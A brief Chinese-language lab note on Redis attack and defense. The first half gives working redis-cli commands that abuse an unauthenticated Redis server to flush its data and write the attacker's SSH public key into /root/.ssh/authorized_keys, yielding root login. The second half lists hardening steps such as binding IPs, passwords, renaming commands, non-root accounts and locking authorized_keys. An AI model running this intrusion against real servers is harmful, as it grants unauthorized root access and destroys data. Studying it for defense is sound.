redis攻与防
1、生成本机公钥(centos201)
ssh-keygen -t rsa
2、在本机执行命令完成入侵
redis-cli -h centos200 -p 6379 config set dir /root/.ssh
redis-cli -h centos200 -p 6379 config set dbfilename "authorized_keys"
redis-cli -h centos200 -p 6379 flushall
(echo -e '\n';cat /root/.ssh/id_rsa.pub;echo -e '\n') | redis-cli -h centos200 -p 6379 -x set crackit
redis-cli -h centos200 -p 6379 save
3、本机测试
ssh centos200
安全防护:
1、bind参数设置:绑定访问ip,不能任意IP(0.0.0.0)都可访问
2、更改默认的6379端口
3、设置复杂度较高的密码
4、禁用相关重要命令:flushall\config\eval,举例:rename-command FLUSHALL ""
5、禁止使用root启动redis,使用一些不能登录(nologin)的账号启动服务
groupadd -r redis && useradd -r -g redis redis
6、保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
然用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。